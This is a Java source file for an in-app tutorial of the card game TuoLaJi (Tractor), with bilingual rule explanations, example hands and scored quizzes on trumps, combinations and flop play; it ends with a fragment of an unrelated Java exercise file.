SpanLabel lb0 = new SpanLabel("Within a suit, the highest ranked card is Ace, then K,Q,J,10,9,8,7,6,5,4,3,2.");
if (currentLang.equals("zh")) {
lb0 = new SpanLabel("对单独一门花色而言,最大牌为A,然后是K,Q,J,10,9,8,7,6,5,4,3,2");
}
Container content = BoxLayout.encloseY(lb0);
content.setScrollableY(true);
if (currentLang.equals("zh")) {
content.setScrollableX(true);
content.add("每个牌手按逆时针顺序依次出牌,出牌最大者赢得这一轮,并得到下轮出牌权");
content.add("当两个人出牌大小相同时,先出为大");
} else {
lb0 = new SpanLabel("The leading player can play one or more cards of a single suit,"
+ " then other players must play same number of cards of the same suit, in a couter-clockwise order."
+ " The player who played the highest ranked card won this round, and get all the points included."
+ " If two more players played the highest ranked card, the first player won.");
content.add(lb0);
}
content.add(" ");
if (currentLang.equals("zh")) {
content.add("问题: ♥5, ♥9, ♥Q, ♥K, ♥K, ♥10");
content.add("按以上出牌顺序,第几个牌手获胜?");
} else {
content.add("Quiz: ♥5, ♥9, ♥Q, ♥K, ♥K, ♥10");
content.add("For the above play sequence, which player won this round?");
}
RadioButton rb2 = new RadioButton(Dict.get(currentLang, "Second"));
RadioButton rb3 = new RadioButton(Dict.get(currentLang, "Third"));
RadioButton rb4 = new RadioButton(Dict.get(currentLang, "Fourth"));
RadioButton rb5 = new RadioButton(Dict.get(currentLang, "Fifth"));
ButtonGroup btnGroup = new ButtonGroup(rb2, rb3, rb4, rb5);
content.add(BoxLayout.encloseXNoGrow(rb2, rb3, rb4, rb5));
if (currentLang.equals("zh")) {
content.add("赢家得多少分?");
} else {
content.add("How many points does the winner get?");
}
RadioButton rb1_1 = new RadioButton("15");
RadioButton rb1_2 = new RadioButton("30");
RadioButton rb1_3 = new RadioButton("35");
RadioButton rb1_4 = new RadioButton("40");
rb1_1.setEnabled(false);
rb1_2.setEnabled(false);
rb1_3.setEnabled(false);
rb1_4.setEnabled(false);
ButtonGroup btnGroup1 = new ButtonGroup(rb1_1, rb1_2, rb1_3, rb1_4);
content.add(BoxLayout.encloseXNoGrow(rb1_1, rb1_2, rb1_3, rb1_4));
btnGroup.addActionListener((e) -> {
if (rb4.isSelected()) {
rb2.setEnabled(false);
rb3.setEnabled(false);
rb4.setEnabled(false);
rb5.setEnabled(false);
rb1_1.setEnabled(true);
rb1_2.setEnabled(true);
rb1_3.setEnabled(true);
rb1_4.setEnabled(true);
} else {
initScore -= unitScore;
e.getComponent().setEnabled(false);
}
});
btnGroup1.addActionListener((e) -> {
if (rb1_3.isSelected()) {
if (!scored) {
scored = true;
int thisScore = Math.round(this.initScore);
Storage.getInstance().writeObject(this.id, thisScore);
totalScore += thisScore;
lbScore.setText(Dict.get(currentLang, "Score") + ": " + totalScore);
Storage.getInstance().writeObject("tutor_score", totalScore);
}
btnNext.setEnabled(true);
} else {
initScore -= unitScore;
e.getComponent().setEnabled(false);
btnNext.setEnabled(false);
}
});
return content;
}
private Component topicTable(Button btnNext) {
if (currentLang.equals("zh")) {
Container content = new Container(BoxLayout.y());
content.setScrollableY(true);
content.setScrollableX(true);
Container p = new Container();
content.add(p);
p.add(TuoLaJiPro.boldText("庄:")).add("庄家,叫分最低者");
p = new Container();
content.add(p);
p.add(TuoLaJiPro.boldText("帮:")).add("帮庄,庄家的同伙");
p = new Container();
content.add(p);
p.add(TuoLaJiPro.boldText("定约分:")).add("庄家最终所叫分数");
p = new Container();
content.add(p);
p.add(TuoLaJiPro.boldText("大光:")).add("闲家一分未得,庄家及同伴升三级");
p = new Container();
content.add(p);
p.add(TuoLaJiPro.boldText("小光:")).add("闲家得分小于定约分的一半,庄家及同伴升两级");
p = new Container();
content.add(p);
p.add(TuoLaJiPro.boldText("跳级:")).add("闲家得分超过定约分后,每多80分,闲家多升一级");
p = new Container();
content.add(p);
p.add(TuoLaJiPro.boldText("一打五:")).add("庄家不找朋友,一个对五个,打成后升级翻倍");
btnNext.setEnabled(true);
return content;
} else {
SpanLabel lb0 = new SpanLabel("Game table illustrated as below:");
Container content = BoxLayout.encloseY(lb0);
content.setScrollableY(true);
content.setScrollableX(true);
content.add(main.theme.getImage("h2.png").scaledWidth(Display.getInstance().getDisplayWidth()));
content.add("Quiz: Based on the sample table, which player is the declarer?");
RadioButton rb1_1 = new RadioButton("#4");
RadioButton rb1_2 = new RadioButton("#5");
RadioButton rb1_3 = new RadioButton("#6");
ButtonGroup btnGroup1 = new ButtonGroup(rb1_1, rb1_2, rb1_3);
content.add(BoxLayout.encloseXNoGrow(rb1_1, rb1_2, rb1_3));
RadioButton rb2_1 = new RadioButton("190");
RadioButton rb2_2 = new RadioButton("75");
ButtonGroup btnGroup2 = new ButtonGroup(rb2_1, rb2_2);
rb2_1.setEnabled(false);
rb2_2.setEnabled(false);
RadioButton rb3_1 = new RadioButton("115");
RadioButton rb3_2 = new RadioButton("120");
ButtonGroup btnGroup3 = new ButtonGroup(rb3_1, rb3_2);
rb3_1.setEnabled(false);
rb3_2.setEnabled(false);
content.add("What is the contract point?");
content.add(BoxLayout.encloseXNoGrow(rb2_1, rb2_2));
content.add("To win the game, how many more points need to be collected by the defenders?");
content.add(BoxLayout.encloseXNoGrow(rb3_1, rb3_2));
btnGroup1.addActionListener((e) -> {
if (rb1_2.isSelected()) {
rb1_1.setEnabled(false);
rb1_2.setEnabled(false);
rb1_3.setEnabled(false);
rb2_1.setEnabled(true);
rb2_2.setEnabled(true);
} else {
initScore -= unitScore / 2;
e.getComponent().setEnabled(false);
}
});
btnGroup2.addActionListener((e) -> {
if (rb2_1.isSelected()) {
rb2_1.setEnabled(false);
rb2_2.setEnabled(false);
rb3_1.setEnabled(true);
rb3_2.setEnabled(true);
} else {
initScore -= unitScore;
e.getComponent().setEnabled(false);
}
});
btnGroup3.addActionListener((e) -> {
if (rb3_1.isSelected()) {
if (!scored) {
scored = true;
int thisScore = Math.round(this.initScore);
Storage.getInstance().writeObject(this.id, thisScore);
totalScore += thisScore;
lbScore.setText(Dict.get(currentLang, "Score") + ": " + totalScore);
Storage.getInstance().writeObject("tutor_score", totalScore);
}
btnNext.setEnabled(true);
} else {
initScore -= unitScore;
e.getComponent().setEnabled(false);
btnNext.setEnabled(false);
}
});
return content;
}
}
private Component topicBidding(Button btnNext) {
Container content = new Container(BoxLayout.y());
content.setScrollableY(true);
SpanLabel lb0 = null;
if (currentLang.equals("zh")) {
content.setScrollableX(true);
content.add("显而易见,叫分越低便越难打成");
content.add("初学者可以参考自己名字后面的最低竞叫分");
} else {
lb0 = new SpanLabel("To be a successful declarer, your hand need to be stronger than average."
+ " Apparently, the lower the contract point, the harder the contract to be made. On the bidding stage,"
+ " there is a recommended minimum bid point right behind your current rank."
+ " As a beginner, you can take that advice.");
content.add(lb0);
}
if (currentLang.equals("zh")) {
content.add(" ");
content.add("上庄后需要叫主,即指定哪一门花色为将牌");
content.add("叫主规则:打6想叫黑桃主,庄家手中必须要有♠6");
content.add(" 如果想打无将,则手中必须有王");
} else {
lb0 = new SpanLabel("Once you become the declarer, you need choose the trump suit."
+ " In order to set a suit to trumps, you must have the game-rank card of that suit (or a Joker for NT)."
+ " E.g. suppose your current rank is 6, you want specify Spade as trump,"
+ " then you must show ♠6 to other players.");
content.add(lb0);
}
btnNext.setEnabled(true);
return content;
}
private Component topicExchange(Button btnNext) {
Container content = new Container(BoxLayout.y());
content.setScrollableY(true);
SpanLabel lb0 = null;
if (currentLang.equals("zh")) {
content.setScrollableX(true);
content.add("庄家叫主后会拿到6张底牌");
content.add("此时需要确定怎样找朋友,以及如何扣底");
content.add("将分牌扣底需要格外谨慎,如果被闲家抠底,则底分要翻4倍");
content.add("(对子抠底再乘2,三张抠底再乘3,以此类推)");
content.add(" ");
content.add("找朋友通常是叫第几个A:");
content.add("例如: 第二个♠A,就是说谁出第二个♠A即为庄家的同伙");
content.add("扣底后,下面是几个较好的示例:");
} else {
lb0 = new SpanLabel("Declarer have a chance to exchange 6 cards after setting trump.");
content.add(lb0);
lb0 = new SpanLabel("At this point, you have to decide how to find your partner."
+ " The partner definition is in this way: a player who plays a specific card will be my partner."
+ " In general, the specific card (Partner Card) is an Ace (not trump)."
+ " E.g. the Partner Card is: 2nd ♠A, it means who plays the second ♠A will be the declarer's partner.");
content.add(lb0);
content.add("The following are some good examples after the exchange:");
}
Container subContainer = new Container();
content.add(subContainer);
Hand hand = main.getPlayer().getHand();
List<Card> cards = new ArrayList<>();
cards.add(new Card(Card.SPADE, 14));
cards.add(new Card(Card.SPADE, 10));
CardList img = new CardList(cards);
img.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight + 10);
subContainer.add(img);
cards = new ArrayList<>();
cards.add(new Card(Card.SPADE, 14));
cards.add(new Card(Card.SPADE, 13));
cards.add(new Card(Card.SPADE, 5));
img = new CardList(cards);
img.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight + 10);
subContainer.add(img);
cards = new ArrayList<>();
cards.add(new Card(Card.SPADE, 13));
cards.add(new Card(Card.SPADE, 13));
cards.add(new Card(Card.SPADE, 10));
img = new CardList(cards);
img.scale(hand.displayWidthNormal(cards.size()), hand.cardHeight + 10);
subContainer.add(img);
if (currentLang.equals("zh")) {
content.add("当出完这门花色后,同伴可以假设庄家这门已经绝了,从而方便把牌权还给庄家");
} else {
lb0 = new SpanLabel("For the first 2 examples, you declare the Partner Card: 2nd ♠A."
+ " Then you play ♠A first, play ♠K next(if you have one).");
content.add(lb0);
lb0 = new SpanLabel("For the third examples, you declare the Partner Card: 1st ♠A."
+ " Then you play ♠K seperately.");
content.add(lb0);
lb0 = new SpanLabel("Normally, at the very beginning, no player knows how strong the declarer's hand is."
+ " So nobody is willing to take the risk to be the partner of the declarer too early.");
content.add(lb0);
}
btnNext.setEnabled(true);
return content;
}
private Component topicBasicPlay(Button btnNext) {
Container content = null;
if (currentLang.equals("zh")) {
content = new Container(BoxLayout.y());
content.setScrollableY(true);
content.setScrollableX(true);
content.add("当你领先出牌时,通常应打出手中的强牌:四条(炸弹)、拖拉机以及三条,尤其是当牌点较大时");
content.add("当然,如果敌方没有绝门,你应该先出那门的A,然后再出其他的");
content.add("当手中强牌出完后,一定要设法传牌给同伴,将牌权保持在自己一方,才能多得分数");
content.add(" ");
content.add("跟牌则相对简单:如果自己一方大,则尽量垫分,否则避免垫分");
} else {
Label lb0 = TuoLaJiPro.boldText("Leading");
content = BoxLayout.encloseY(lb0);
content.setScrollableY(true);
SpanLabel lb = new SpanLabel("When you are at the leading position, usually you should play your strong combinations of cards."
+ " Quads, Tractors, Trips are considered the strong combinations, especially in a higher rank."
+ " Obviously, the longer, the stronger."
+ " Of course, if none of the opponents showed void sign of the suit you led,"
+ " you should cash the Ace(s) first.");
content.add(lb);
lb = new SpanLabel("After that, you should always try to pass to your partner."
+ " So as to keep the leading right in your side longer and get more points.");
content.add(lb);
lb0 = TuoLaJiPro.boldText("Follow Play");
content.add(lb0);
lb = new SpanLabel("When your partner is winning this round, you discard point card(s)."
+ " Otherwise, you should avoid to play point card(s).");
content.add(lb);
lb = new SpanLabel("If you are void in the suit led, you can ruff and take the leading right."
+ " The valid ruff must be in the same type of card combination led.");
content.add(lb);
}
btnNext.setEnabled(true);
return content;
}
private Component topicFlop(Button btnNext) {
Container content = null;
SpanLabel lb0 = null;
if (currentLang.equals("zh")) {
content = new Container(BoxLayout.yLast());
content.setScrollableY(true);
content.setScrollableX(true);
content.add("甩牌示例:");
} else {
lb0 = new SpanLabel("Sometimes you can try to play multiple combinations together - Flop Play."
+ " Following are some examples:");
content = BoxLayout.encloseYBottomLast(lb0);
content.setScrollableY(true);
}
Container subContainer = new Container();
content.add(subContainer);
Hand hand = main.getPlayer().getHand();
List<Card> cards = new ArrayList<>();
cards.add(new Card(Card.SPADE, 14));
cards.add(new Card(Card.SPADE, 14));
cards.add(new Card(Card.SPADE, 13));
cards.add(new Card(Card.SPADE, 13));
cards.add(new Card(Card.SPADE, 13));
CardList img = new CardList(cards);
img.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight + 10);
subContainer.add(img);
cards = new ArrayList<>();
cards.add(new Card(Card.SPADE, 14));
cards.add(new Card(Card.SPADE, 14));
cards.add(new Card(Card.SPADE, 14));
cards.add(new Card(Card.SPADE, 13));
cards.add(new Card(Card.SPADE, 13));
img = new CardList(cards);
img.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight + 10);
subContainer.add(img);
cards = new ArrayList<>();
cards.add(new Card(Card.SPADE, 14));
cards.add(new Card(Card.SPADE, 12));
cards.add(new Card(Card.SPADE, 12));
cards.add(new Card(Card.SPADE, 11));
cards.add(new Card(Card.SPADE, 11));
cards.add(new Card(Card.SPADE, 5));
cards.add(new Card(Card.SPADE, 5));
cards.add(new Card(Card.SPADE, 5));
cards.add(new Card(Card.SPADE, 5));
img = new CardList(cards);
img.scale(hand.displayWidthNormal(cards.size()), hand.cardHeight + 10);
subContainer.add(img);
if (currentLang.equals("zh")) {
content.add("甩牌有风险,如果失败会被罚分(每拿回一张罚10分)");
content.add("例如:你想甩AKK,但其他玩家手中有AA,那你只能出KK,并加10分给敌对一方");
content.add("教程结束!祝你好运!");
} else {
lb0 = new SpanLabel("Flop Play is powerful, but has potential risks."
+ " If the Flop Play is invalid, there will be penalty points (10 points per card took back)."
+ " E.g. you try to play AKK, but other player has AA,"
+ " so you are forced to play KK and take back A, then 10 points will be added to your opponents.");
content.add(lb0);
content.add(TuoLaJiPro.boldText("Congratulations. Good luck and enjoy the game!"));
}
btnNext.setEnabled(true);
return content;
}
private Component topicCombination(Button btnNext) {
SpanLabel lb0 = null;
Container content = null;
if (currentLang.equals("zh")) {
content = new Container(BoxLayout.yLast());
content.setScrollableY(true);
content.setScrollableX(true);
content.add("下面的示例展示了对子、三条、四条:");
} else {
lb0 = new SpanLabel("PAIR, TRIPS, QUADS (Samples as below)");
content = BoxLayout.encloseY(lb0);
content.setScrollableY(true);
}
Hand hand = main.getPlayer().getHand();
List<Card> cards = new ArrayList<>();
cards.add(new Card(Card.JOKER, Card.BigJokerRank));
cards.add(new Card(Card.JOKER, Card.BigJokerRank));
CardList imgPair = new CardList(cards);
imgPair.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight + 10);
cards = new ArrayList<>();
cards.add(new Card(Card.HEART, 8));
cards.add(new Card(Card.HEART, 8));
cards.add(new Card(Card.HEART, 8));
CardList imgTrips = new CardList(cards);
imgTrips.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight + 10);
cards = new ArrayList<>();
cards.add(new Card(Card.CLUB, 5));
cards.add(new Card(Card.CLUB, 5));
cards.add(new Card(Card.CLUB, 5));
cards.add(new Card(Card.CLUB, 5));
CardList imgQuads = new CardList(cards);
imgQuads.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight + 10);
Container subContainer = new Container();
subContainer.add(imgPair).add(imgTrips).add(imgQuads);
content.add(subContainer);
if (currentLang.equals("zh")) {
content.add("拖拉机:相连的对子(或者三条,四条)");
content.add("下面的例子是假定打10,方片主:");
} else {
lb0 = new SpanLabel("TuoLaJi(Tractor): connected pairs (or trips/quads)."
+ " Following samples are based on game-rank 10, trump suit ♦:");
content.add(lb0);
}
cards = new ArrayList<>();
cards.add(new Card(Card.CLUB, 6));
cards.add(new Card(Card.CLUB, 6));
cards.add(new Card(Card.CLUB, 5));
cards.add(new Card(Card.CLUB, 5));
CardList img1 = new CardList(cards);
img1.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight + 10);
cards = new ArrayList<>();
cards.add(new Card(Card.SPADE, 11));
cards.add(new Card(Card.SPADE, 11));
cards.add(new Card(Card.SPADE, 11));
cards.add(new Card(Card.SPADE, 9));
cards.add(new Card(Card.SPADE, 9));
cards.add(new Card(Card.SPADE, 9));
CardList img2 = new CardList(cards);
img2.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight + 10);
cards = new ArrayList<>();
cards.add(new Card(Card.JOKER, Card.BigJokerRank));
cards.add(new Card(Card.JOKER, Card.BigJokerRank));
cards.add(new Card(Card.JOKER, Card.SmallJokerRank));
cards.add(new Card(Card.JOKER, Card.SmallJokerRank));
cards.add(new Card(Card.DIAMOND, 10));
cards.add(new Card(Card.DIAMOND, 10));
cards.add(new Card(Card.CLUB, 10));
cards.add(new Card(Card.CLUB, 10));
cards.add(new Card(Card.DIAMOND, 14));
cards.add(new Card(Card.DIAMOND, 14));
CardList img3 = new CardList(cards);
img3.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight + 10);
subContainer = new Container();
subContainer.add(img1).add(img2).add(img3);
content.add(subContainer);
if (currentLang.equals("zh")) {
content.add("特殊规则:四条也称为炸弹,可以大过两对的拖拉机");
content.add("测验:选出下面所有合格的拖拉机(假定打10,方片主)");
} else {
lb0 = new SpanLabel("When one of the combinations is led,"
+ " the following player must try to play the same type of the combination."
+ " Take quads as an example, the follow play preference is: quads, 1 trips + 1 single, 2-pair tractor,"
+ " 2 pairs, 1 pair + 2 singles, 4 singles.");
content.add(lb0);
content.add("Special rule: Quads can beat 2-pair tractor, so it is also called Bomb.");
lb0 = new SpanLabel("Quiz: Please select all the correct tractors (Assumption: game-rank 10, trump suit ♦)");
content.add(lb0);
}
subContainer = new Container();
CheckBox cb1 = new CheckBox();
subContainer.add(cb1);
content.add(subContainer);
cards = new ArrayList<>();
cards.add(new Card(Card.SPADE, 8));
cards.add(new Card(Card.SPADE, 8));
cards.add(new Card(Card.SPADE, 7));
cards.add(new Card(Card.SPADE, 7));
CardList img = new CardList(cards);
img.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight);
subContainer.add(img);
String hint = currentLang.equals("zh") ? "毫无疑问" : "No doubt";
Label hint1 = new Label(hint);
hint1.setVisible(false);
subContainer.add(hint1);
subContainer = new Container();
CheckBox cb2 = new CheckBox();
subContainer.add(cb2);
content.add(subContainer);
cards = new ArrayList<>();
cards.add(new Card(Card.CLUB, 14));
cards.add(new Card(Card.CLUB, 14));
cards.add(new Card(Card.CLUB, 13));
cards.add(new Card(Card.CLUB, 13));
cards.add(new Card(Card.CLUB, 13));
img = new CardList(cards);
img.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight);
subContainer.add(img);
hint = currentLang.equals("zh") ? "混合的对子和三条" : "Mixed pair and trips";
Label hint2 = new Label(hint);
hint2.setVisible(false);
subContainer.add(hint2);
subContainer = new Container();
CheckBox cb3 = new CheckBox();
subContainer.add(cb3);
content.add(subContainer);
cards = new ArrayList<>();
cards.add(new Card(Card.HEART, 11));
cards.add(new Card(Card.HEART, 11));
cards.add(new Card(Card.HEART, 9));
cards.add(new Card(Card.HEART, 9));
img = new CardList(cards);
img.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight);
subContainer.add(img);
hint = currentLang.equals("zh") ? "打10!9和J是相连的" : "9 and J is connected now, since 10 is out!";
Label hint3 = new Label(hint);
hint3.setVisible(false);
subContainer.add(hint3);
subContainer = new Container();
CheckBox cb4 = new CheckBox();
subContainer.add(cb4);
content.add(subContainer);
cards = new ArrayList<>();
cards.add(new Card(Card.DIAMOND, 7));
cards.add(new Card(Card.DIAMOND, 7));
cards.add(new Card(Card.DIAMOND, 7));
cards.add(new Card(Card.DIAMOND, 5));
cards.add(new Card(Card.DIAMOND, 5));
cards.add(new Card(Card.DIAMOND, 5));
img = new CardList(cards);
img.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight);
subContainer.add(img);
hint = currentLang.equals("zh") ? "不相连" : "Not connected";
Label hint4 = new Label(hint);
hint4.setVisible(false);
subContainer.add(hint4);
subContainer = new Container();
CheckBox cb5 = new CheckBox();
subContainer.add(cb5);
content.add(subContainer);
cards = new ArrayList<>();
cards.add(new Card(Card.SPADE, 10));
cards.add(new Card(Card.SPADE, 10));
cards.add(new Card(Card.HEART, 10));
cards.add(new Card(Card.HEART, 10));
img = new CardList(cards);
img.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight);
subContainer.add(img);
hint = currentLang.equals("zh") ? "同级的两对,不算" : "Two pair with same rank, not qualify!";
Label hint5 = new Label(hint);
hint5.setVisible(false);
subContainer.add(hint5);
subContainer = new Container();
CheckBox cb6 = new CheckBox();
subContainer.add(cb6);
content.add(subContainer);
cards = new ArrayList<>();
cards.add(new Card(Card.DIAMOND, 10));
cards.add(new Card(Card.DIAMOND, 10));
cards.add(new Card(Card.SPADE, 10));
cards.add(new Card(Card.SPADE, 10));
cards.add(new Card(Card.DIAMOND, 14));
cards.add(new Card(Card.DIAMOND, 14));
cards.add(new Card(Card.DIAMOND, 13));
cards.add(new Card(Card.DIAMOND, 13));
img = new CardList(cards);
img.scale(hand.displayWidthNormal(cards.size()) + 20, hand.cardHeight);
subContainer.add(img);
hint = currentLang.equals("zh") ? "好牌!" : "Nice one! The longer, the better!";
Label hint6 = new Label(hint);
hint6.setVisible(false);
subContainer.add(hint6);
content.add(" ");
hint = currentLang.equals("zh") ? "提示" : "Show Hint";
CheckBox cb0 = new CheckBox(hint);
content.add(cb0);
cb0.addActionListener((e) -> {
hint1.setVisible(cb0.isSelected());
hint2.setVisible(cb0.isSelected());
hint3.setVisible(cb0.isSelected());
hint4.setVisible(cb0.isSelected());
hint5.setVisible(cb0.isSelected());
hint6.setVisible(cb0.isSelected());
});
cb1.addActionListener((e) -> {
if (cb1.isSelected() && !cb2.isSelected()
&& cb3.isSelected() && !cb4.isSelected() && !cb5.isSelected() && cb6.isSelected()) {
if (!scored) {
scored = true;
int thisScore = Math.round(this.initScore);
Storage.getInstance().writeObject(this.id, thisScore);
totalScore += thisScore;
lbScore.setText(Dict.get(currentLang, "Score") + ": " + totalScore);
Storage.getInstance().writeObject("tutor_score", totalScore);
}
btnNext.setEnabled(true);
} else {
btnNext.setEnabled(false);
}
if (!cb1.isSelected()) {
this.initScore -= unitScore;
cb1.setEnabled(false);
cb1.setSelected(true);
}
});
cb2.addActionListener((e) -> {
if (cb1.isSelected() && !cb2.isSelected()
&& cb3.isSelected() && !cb4.isSelected() && !cb5.isSelected() && cb6.isSelected()) {
if (!scored) {
scored = true;
int thisScore = Math.round(this.initScore);
Storage.getInstance().writeObject(this.id, thisScore);
totalScore += thisScore;
lbScore.setText(Dict.get(currentLang, "Score") + ": " + totalScore);
Storage.getInstance().writeObject("tutor_score", totalScore);
}
btnNext.setEnabled(true);
} else {
btnNext.setEnabled(false);
}
if (cb2.isSelected()) {
this.initScore -= unitScore;
} else {
cb2.setEnabled(false);
}
});
cb3.addActionListener((e) -> {
if (cb1.isSelected() && !cb2.isSelected()
&& cb3.isSelected() && !cb4.isSelected() && !cb5.isSelected() && cb6.isSelected()) {
if (!scored) {
scored = true;
int thisScore = Math.round(this.initScore);
Storage.getInstance().writeObject(this.id, thisScore);
totalScore += thisScore;
lbScore.setText(Dict.get(currentLang, "Score") + ": " + totalScore);
Storage.getInstance().writeObject("tutor_score", totalScore);
}
btnNext.setEnabled(true);
} else {
btnNext.setEnabled(false);
}
if (!cb3.isSelected()) {
this.initScore -= unitScore;
cb3.setEnabled(false);
cb3.setSelected(true);
}
});
cb4.addActionListener((e) -> {
if (cb1.isSelected() && !cb2.isSelected()
&& cb3.isSelected() && !cb4.isSelected() && !cb5.isSelected() && cb6.isSelected()) {
if (!scored) {
scored = true;
int thisScore = Math.round(this.initScore);
Storage.getInstance().writeObject(this.id, thisScore);
totalScore += thisScore;
lbScore.setText(Dict.get(currentLang, "Score") + ": " + totalScore);
Storage.getInstance().writeObject("tutor_score", totalScore);
}
btnNext.setEnabled(true);
} else {
btnNext.setEnabled(false);
}
if (cb4.isSelected()) {
this.initScore -= unitScore;
} else {
cb4.setEnabled(false);
}
});
cb5.addActionListener((e) -> {
if (cb1.isSelected() && !cb2.isSelected()
&& cb3.isSelected() && !cb4.isSelected() && !cb5.isSelected() && cb6.isSelected()) {
if (!scored) {
scored = true;
int thisScore = Math.round(this.initScore);
Storage.getInstance().writeObject(this.id, thisScore);
totalScore += thisScore;
lbScore.setText(Dict.get(currentLang, "Score") + ": " + totalScore);
Storage.getInstance().writeObject("tutor_score", totalScore);
}
btnNext.setEnabled(true);
} else {
btnNext.setEnabled(false);
}
if (cb5.isSelected()) {
this.initScore -= unitScore;
} else {
cb5.setEnabled(false);
}
});
cb6.addActionListener((e) -> {
if (cb1.isSelected() && !cb2.isSelected()
&& cb3.isSelected() && !cb4.isSelected() && !cb5.isSelected() && cb6.isSelected()) {
if (!scored) {
scored = true;
int thisScore = Math.round(this.initScore);
Storage.getInstance().writeObject(this.id, thisScore);
totalScore += thisScore;
lbScore.setText(Dict.get(currentLang, "Score") + ": " + totalScore);
Storage.getInstance().writeObject("tutor_score", totalScore);
}
btnNext.setEnabled(true);
} else {
btnNext.setEnabled(false);
}
if (!cb6.isSelected()) {
this.initScore -= unitScore;
cb6.setEnabled(false);
cb6.setSelected(true);
}
});
return content;
}
private Component topicAdvanced(Button btnNext) {
SpanLabel lb0 = new SpanLabel("Advanced Play");
Container content = BoxLayout.encloseY(lb0);
content.setScrollableY(true);
content.add("Congratulations. Good luck and enjoy the game!");
return content;
}
private Component topicTrump(Button btnNext) {
SpanLabel lb0 = null;
Container content = null;
if (currentLang.equals("zh")) {
content = new Container(BoxLayout.y());
content.setScrollableY(true);
content.setScrollableX(true);
content.add("下面以打8为例,♥主,从大到小展示了一副牌中所有的将牌(主牌)");
} else {
lb0 = new SpanLabel("Jokers and game-rank(declarer's current rank) cards are always trumps."
+ "The declarer can choose one suit to be a trump suit, or NT means no trump suit.");
content = BoxLayout.encloseY(lb0);
content.setScrollableY(true);
lb0 = new SpanLabel("Suppose declarer's current rank is 8, ♥ is the trump suit."
+ " Below is the trump card rank of a single deck, from high to low:");
content.add(lb0);
}
Hand hand = main.getPlayer().getHand();
List<Card> cards = new ArrayList<>();
cards.add(new Card(Card.JOKER, Card.BigJokerRank));
cards.add(new Card(Card.JOKER, Card.SmallJokerRank));
cards.add(new Card(Card.HEART, 8));
for (int r = 14; r >= 2; r--) {
if (r == 8) {
continue;
}
cards.add(new Card(Card.HEART, r));
}
CardList img = new CardList(cards);
List<Card> addCards = new ArrayList<>();
addCards.add(new Card(Card.SPADE, 8));
addCards.add(new Card(Card.DIAMOND, 8));
addCards.add(new Card(Card.CLUB, 8));
img.insertCards(3, addCards);
img.scale(hand.displayWidthNormal(cards.size()), 2 * (hand.cardHeight + 10) + 50);
content.add(img);
if (currentLang.equals("zh")) {
content.add("请注意主8(♥8)与副8的区别");
content.add("问题:如果打无将(无主),一副牌总共有几张将牌?");
} else {
lb0 = new SpanLabel("Please be aware of the difference between the ♥8(primary) and the other 8s(secondary).");
content.add(lb0);
lb0 = new SpanLabel("Quiz: For a single deck, how many trumps are there if no trump suit specified?");
content.add(lb0);
}
RadioButton rb1 = new RadioButton("2");
RadioButton rb2 = new RadioButton("4");
RadioButton rb3 = new RadioButton("6");
RadioButton rb4 = new RadioButton("8");
ButtonGroup btnGroup = new ButtonGroup(rb1, rb2, rb3, rb4);
content.add(BoxLayout.encloseXNoGrow(rb1, rb2, rb3, rb4));
btnGroup.addActionListener((e) -> {
if (rb3.isSelected()) {
if (!scored) {
scored = true;
int thisScore = Math.round(this.initScore);
Storage.getInstance().writeObject(this.id, thisScore);
totalScore += thisScore;
lbScore.setText(Dict.get(currentLang, "Score") + ": " + totalScore);
Storage.getInstance().writeObject("tutor_score", totalScore);
}
btnNext.setEnabled(true);
} else {
initScore -= unitScore;
e.getComponent().setEnabled(false);
btnNext.setEnabled(false);
}
});
return content;
}
}
class CardList extends DynamicImage {
int bgColor = 0x00ffff;
final List<Card> cards;
CardList(List<Card> cards) {
this.cards = cards;
}
List<Card> addCards;
int aIndex = -1;
void insertCards(int idx, List<Card> aCards) {
addCards = aCards;
aIndex = idx;
}
@Override
protected void drawImageImpl(Graphics g, Object nativeGraphics, int x, int y, int w, int h) {
if (cards == null || cards.isEmpty()) return;
Hand hand = main.getPlayer().getHand();
int i = 0;
for (Card c : cards) {
if (addCards != null && i == aIndex) {
int y0 = y;
for (Card a : addCards) {
drawCard(g, a, x, y0, hand.cardWidth, hand.cardHeight);
y0 += hand.cardHeight * 2 / 3;
}
x += hand.xPitch;
}
drawCard(g, c, x, y, hand.cardWidth, hand.cardHeight);
x += hand.xPitch;
i++;
}
}
private void drawCard(Graphics g, Card c, int x0, int y0, int cardW, int cardH) {
Hand hand = main.getPlayer().getHand();
g.setColor(hand.blackColor);
g.drawRoundRect(x0 - 1, y0 - 1, cardW + 2, cardH + 2, 10, 10);
g.setColor(hand.whiteColor);
g.fillRoundRect(x0, y0, cardW, cardH, 10, 10);
if (c.suite == Card.SPADE || c.suite == Card.CLUB || c.rank == Card.SmallJokerRank) {
g.setColor(hand.blackColor);
} else {
g.setColor(hand.redColor);
}
if (c.rank < Card.SmallJokerRank) {
g.setFont(hand.fontRank);
String s = c.rankToString();
if (s.length() < 2) {
g.drawString(s, x0 + 2, y0);
} else {
g.drawString("" + s.charAt(0), x0 - 5, y0);
g.drawString("" + s.charAt(1), x0 + 20, y0);
}
g.setFont(hand.fontSymbol);
g.drawString(Card.suiteSign(c.suite), x0 + 2, y0 + hand.fontRank.getHeight() - 5);
} else {
g.setFont(hand.fontSymbol);
x0 += 5;
int py = cardH / 5 - 2;
g.drawString("J", x0, y0);
g.drawString("O", x0, y0 + py);
g.drawString("K", x0, y0 + py * 2);
g.drawString("E", x0, y0 + py * 3);
g.drawString("R", x0, y0 + py * 4);
}
}
}
}
| cckcheng/TljPro | com/ccd/tljpro/Tutor.java |
65,490 | package com.github.hcsp.encapsulation;
import com.github.blindpirate.extensions.CaptureSystemOutputExtension;
public class Main {
public static void main(String[] args) {
